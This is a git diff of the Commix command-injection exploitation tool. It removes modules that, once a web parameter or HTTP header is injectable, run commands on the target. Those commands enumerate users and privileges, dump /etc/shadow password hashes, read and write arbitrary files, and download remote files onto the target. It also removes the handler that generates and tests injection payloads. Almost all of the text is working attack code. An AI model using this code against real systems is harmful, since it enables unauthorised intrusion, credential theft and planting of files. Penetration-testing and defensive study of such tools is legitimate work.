+ "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the current user." - print(settings.print_warning_msg(warn_msg)) - -""" -System users enumeration -""" -def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - settings.SYS_USERS = settings.WIN_SYS_USERS - settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" - if alter_shell: - settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") - # else: - # settings.SYS_USERS = "\"" + settings.SYS_USERS + "\"" - cmd = settings.SYS_USERS - if settings.TARGET_OS == "win": - cmd = "cmd /c " + cmd - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - sys_users = cb_injector.injection_results(response, TAG, cmd) - sys_users = "".join(str(p) for p in sys_users) - session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) - else: - sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - # Windows users enumeration. - if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " - info_msg += "to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - sys.stdout.write(settings.SUCCESS_STATUS) - sys_users_list = re.findall(r"(.*)", sys_users) - sys_users_list = "".join(str(p) for p in sys_users_list).strip() - sys_users_list = ' '.join(sys_users_list.split()) - sys_users_list = sys_users_list.split() - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - count = count + 1 - if menu.options.privileges: - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" - if alter_shell: - cmd = cmd.replace("'","\\'") - cmd = "cmd /c " + cmd - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - check_privs = cb_injector.injection_results(response, TAG, cmd) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = re.findall(r"(.*)", check_privs) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = check_privs.split() - if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" - is_privileged_nh = " is admin user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - print(" (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) - - except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() - pass - - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - pass - - # Unix-like users enumeration. - else: - info_msg = "Fetching '" + settings.PASSWD_FILE - info_msg += "' to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : - sys_users = sys_users.split("\n") - else: - sys_users = sys_users.split(" ") - # Check for appropriate '/etc/passwd' format. - if len(sys_users) % 3 != 0 : - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " - warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print("\n" + settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users).strip() - print(sys_users) - output_file = open(filename, "a") - output_file.write(" " + sys_users) - output_file.close() - else: - sys_users_list = [] - for user in range(0, len(sys_users), 3): - sys_users_list.append(sys_users[user : user + 3]) - if len(sys_users_list) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - sys_users = sys_users_list[user] - sys_users = ":".join(str(p) for p in sys_users) - count = count + 1 - fields = sys_users.split(":") - fields1 = "".join(str(p) for p in fields) - # System users privileges enumeration - try: - if not fields[2].startswith("/"): - raise ValueError() - if menu.options.privileges: - if int(fields[1]) == 0: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " - is_privileged_nh = " is root user " - elif int(fields[1]) > 0 and int(fields[1]) < 99 : - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " - is_privileged_nh = " is system user " - elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : - if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " - is_privileged_nh = " is anonymous user " - elif int(fields[1]) == 60002: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " - is_privileged_nh = " is non-trusted user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - else : - is_privileged = "" - is_privileged_nh = "" - print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) - output_file.close() - except ValueError: - if count == 1 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " - warn_msg += "appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users.split(":")) - print(sys_users) - output_file = open(filename, "a") - output_file.write(" " + sys_users) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) - except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() - pass - - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - pass - -""" -System passwords enumeration -""" -def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - # Not yet implemented! - pass - else: - cmd = settings.SYS_PASSES - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - sys_passes = cb_injector.injection_results(response, TAG, cmd) - sys_passes = "".join(str(p) for p in sys_passes) - session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) - else: - sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if sys_passes == "": - sys_passes = " " - if sys_passes : - info_msg = "Fetching '" + settings.SHADOW_FILE - info_msg += "' to enumerate users password hashes. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split() - if len(sys_passes) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) - info_msg = "Identified " + str(len(sys_passes)) - info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) - output_file.close() - count = 0 - for line in sys_passes: - count = count + 1 - try: - if ":" in line: - fields = line.split(":") - if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") - output_file.close() - # Check for appropriate '/etc/shadow' format. - except IndexError: - if count == 1 : - warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " - warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") - print(fields[0]) - output_file = open(filename, "a") - output_file.write(" " + fields[0]) - output_file.close() - else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() - warn_msg = "It seems that you don't have permissions to read '" - warn_msg += settings.SHADOW_FILE + "' to enumerate users password hashes." - print("\n" + settings.print_warning_msg(warn_msg)) - -""" -Single os-shell execution -""" -def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - - cmd = menu.options.os_cmd - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - if shell != "": - print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") - logs.print_logs_notification(filename, url) - else: - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - -""" -Check the defined options -""" -def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - - # if not settings.VERBOSITY_LEVEL != 0 and not settings.ENUMERATION_DONE: - # print(settings.SINGLE_WHITESPACE) - - # Check if PowerShell is enabled. - if not menu.options.ps_version and settings.TARGET_OS == "win": - checks.ps_check() - - if menu.options.ps_version and settings.PS_ENABLED == None: - if not checks.ps_incompatible_os(): - powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.hostname: - hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.current_user: - current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.sys_info: - system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.users: - system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - - if menu.options.passwords: - system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.ENUMERATION_DONE = True - -# eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py deleted file mode 100755 index 6f1f75ef28..0000000000 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ /dev/null @@ -1,239 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import os -import sys -from src.thirdparty.six.moves import urllib as _urllib - - -from src.utils import menu -from src.utils import settings -from src.utils import session_handler -from src.thirdparty.colorama import Fore, Back, Style, init - -from src.core.requests import requests -from src.core.injections.results_based.techniques.classic import cb_injector - -""" -The "classic" technique on result-based OS command injection. -""" - -""" -Read a file from the target host. -""" -def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_read = menu.options.file_read - # Execute command - if settings.TARGET_OS == "win": - cmd = settings.WIN_FILE_READ + file_to_read - else: - cmd = settings.FILE_READ + file_to_read - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The contents of file '" - info_msg += file_to_read + "'" + Style.RESET_ALL + ": " - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - print(shell) - output_file = open(filename, "a") - info_msg = "The contents of file '" - info_msg += file_to_read + "' : " + shell + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "It seems that you don't have permissions " - warn_msg += "to read the '" + file_to_read + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - -""" -Write to a file on the target host. -""" -def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - file_to_write = menu.options.file_write - if not os.path.exists(file_to_write): - warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - - if os.path.isfile(file_to_write): - with open(file_to_write, 'r') as content_file: - content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] - content = "".join(str(p) for p in content).replace("'", "\"") - if settings.TARGET_OS == "win": - import base64 - content = base64.b64encode(content) - else: - warn_msg = "It seems that '" + file_to_write + "' is not a file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] - else: - dest_to_write = menu.options.file_dest - - # Execute command - if settings.TARGET_OS == "win": - dest_to_write = dest_to_write.replace("\\","/") - # Find path - path = os.path.dirname(dest_to_write) - path = path.replace("/","\\") - # Change directory - cmd = "cd " + path - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Find filename - filname = os.path.basename(dest_to_write) - tmp_filname = "tmp_" + filname - cmd = settings.FILE_WRITE + content + ">" + tmp_filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Decode base 64 encoding - cmd = "certutil -decode " + tmp_filname + " " + filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cb_injector.injection_results(response, TAG, cmd) - # Delete tmp file - cmd = "del " + tmp_filname - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cb_injector.injection_results(response, TAG, cmd) - # Check if file exists - cmd = "if exist " + filname + " (echo " + filname + ")" - if not menu.options.alter_shell : - cmd = "\"" + cmd + "\"" - dest_to_write = path + "\\" + filname - - else: - cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - # Check if file exists - cmd = "echo $(ls " + dest_to_write + ")" - if settings.USE_BACKTICKS: - cmd = cmd.replace("echo $(","").replace(")","") - # Check if defined cookie injection. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The " + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + " file was created successfully!" + "\n" - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - else: - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - -""" -Upload a file on the target host. -""" -def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - # Not yet implemented - pass - else: - file_to_upload = menu.options.file_upload - # check if remote file exists. - try: - _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as err_msg: - warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - except ValueError as err_msg: - err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() - raise SystemExit() - - # Check the file-destination - if os.path.split(menu.options.file_dest)[1] == "" : - dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] - elif os.path.split(menu.options.file_dest)[0] == "/": - dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] - else: - dest_to_upload = menu.options.file_dest - - # Execute command - cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - - # Check if file exists! - if settings.TARGET_OS == "win": - cmd = "dir " + dest_to_upload + ")" - else: - cmd = "echo $(ls " + dest_to_upload + ")" - if settings.USE_BACKTICKS: - cmd = cmd.replace("echo $(","").replace(")","") - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - if shell: - info_msg = "The " + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!" - sys.stdout.write(settings.print_bold_info_msg(info_msg) + "\n") - sys.stdout.flush() - else: - warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - -""" -Check the defined options -""" -def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - - if menu.options.file_write: - file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_upload: - file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_read: - file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - settings.FILE_ACCESS_DONE = True - -# eof \ No newline at end of file diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index b567351bec..403342f8ca 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -3,44 +3,17 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ -import re -import os -import sys -import time -import string -import random -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.six.moves import html_parser as _html_parser -from src.utils import menu -from src.utils import logs -from src.utils import settings -from src.utils import session_handler -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.shells import reverse_tcp -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.core.injections.controller import shell_options -from src.core.injections.results_based.techniques.classic import cb_injector -from src.core.injections.results_based.techniques.classic import cb_payloads -from src.core.injections.results_based.techniques.classic import cb_enumeration -from src.core.injections.results_based.techniques.classic import cb_file_access -try: - import html - unescape = html.unescape -except: # Python 2 - unescape = _html_parser.HTMLParser().unescape + +from src.core.injections.controller import handler """ The "classic" technique on result-based OS command injection. @@ -50,414 +23,13 @@ The "classic" injection technique handler. """ def cb_injection_handler(url, timesec, filename, http_request_method, injection_type, technique): - shell = False - counter = 1 - vp_flag = True - no_result = True - is_encoded = False - export_injection_info = False - - if not settings.LOAD_SESSION: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - - i = 0 - # Calculate all possible combinations - total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - for whitespace in settings.WHITESPACES: - for prefix in settings.PREFIXES: - for suffix in settings.SUFFIXES: - for separator in settings.SEPARATORS: - if whitespace == " ": - whitespace = _urllib.parse.quote(whitespace) - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # If a previous session is available. - if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type): - try: - settings.CLASSIC_STATE = True - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) - checks.check_for_stored_tamper(payload) - except TypeError: - err_msg = "An error occurred while accessing session file ('" - err_msg += settings.SESSION_FILE + "'). " - err_msg += "Use the '--flush-session' option." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - else: - i = i + 1 - # Check for bad combination of prefix and separator - combination = prefix + separator - if combination in settings.JUNK_COMBINATION: - prefix = "" - - # Change TAG on every request to prevent false-positive results. - TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - - randv1 = random.randrange(100) - randv2 = random.randrange(100) - randvcalc = randv1 + randv2 - - # Define alter shell - alter_shell = menu.options.alter_shell - - try: - if alter_shell: - # Classic -alter shell- decision payload (check if host is vulnerable). - payload = cb_payloads.decision_alter_shell(separator, TAG, randv1, randv2) - else: - # Classic decision payload (check if host is vulnerable). - payload = cb_payloads.decision(separator, TAG, randv1, randv2) - - # Define prefixes & suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: - print(settings.print_payload(payload)) - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_payload(payload)) - - # Cookie header injection - if settings.COOKIE_INJECTION == True: - # Check if target host is vulnerable to cookie header injection. - vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - response = cb_injector.cookie_injection_test(url, vuln_parameter, payload) - - # User-Agent HTTP header injection - elif settings.USER_AGENT_INJECTION == True: - # Check if target host is vulnerable to user-agent HTTP header injection. - vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - response = cb_injector.user_agent_injection_test(url, vuln_parameter, payload) - - # Referer HTTP header injection - elif settings.REFERER_INJECTION == True: - # Check if target host is vulnerable to referer HTTP header injection. - vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - response = cb_injector.referer_injection_test(url, vuln_parameter, payload) - - # Host HTTP header injection - elif settings.HOST_INJECTION == True: - # Check if target host is vulnerable to host HTTP header injection. - vuln_parameter = parameters.specify_host_parameter(menu.options.host) - response = cb_injector.host_injection_test(url, vuln_parameter, payload) - - # Custom HTTP header Injection - elif settings.CUSTOM_HEADER_INJECTION == True: - # Check if target host is vulnerable to custom http header injection. - vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - response = cb_injector.custom_header_injection_test(url, vuln_parameter, payload) - - else: - # Check if target host is vulnerable. - response, vuln_parameter = cb_injector.injection_test(payload, http_request_method, url) - - # Try target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - - # Evaluate test results. - time.sleep(timesec) - shell = cb_injector.injection_test_results(response, TAG, randvcalc) - - if settings.VERBOSITY_LEVEL == 0: - percent = ((i*100)/total) - float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) - - if shell == False: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + " (" + str(float_percent) + "%)" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - - if float(float_percent) >= 99.9: - if no_result == True: - percent = settings.FAIL_STATUS - else: - percent = ".. (" + str(float_percent) + "%)" - elif len(shell) != 0: - percent = settings.info_msg - else: - percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" - sys.stdout.write("\r" + settings.print_info_msg(info_msg)) - sys.stdout.flush() - - except KeyboardInterrupt: - raise - - except SystemExit: - raise - - except EOFError: - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise - - except: - continue - - # Yaw, got shellz! - # Do some magic tricks! - if shell: - found = True - no_result = False - # Check injection state - settings.DETECTION_PHASE = False - settings.EXPLOITATION_PHASE = True - if settings.COOKIE_INJECTION == True: - header_name = " cookie" - found_vuln_parameter = vuln_parameter - the_type = " parameter" - - elif settings.USER_AGENT_INJECTION == True: - header_name = " User-Agent" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.REFERER_INJECTION == True: - header_name = " Referer" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.HOST_INJECTION == True: - header_name = " Host" - found_vuln_parameter = "" - the_type = " HTTP header" - - elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = " " + settings.CUSTOM_HEADER_NAME - found_vuln_parameter = "" - the_type = " HTTP header" - - else: - header_name = "" - 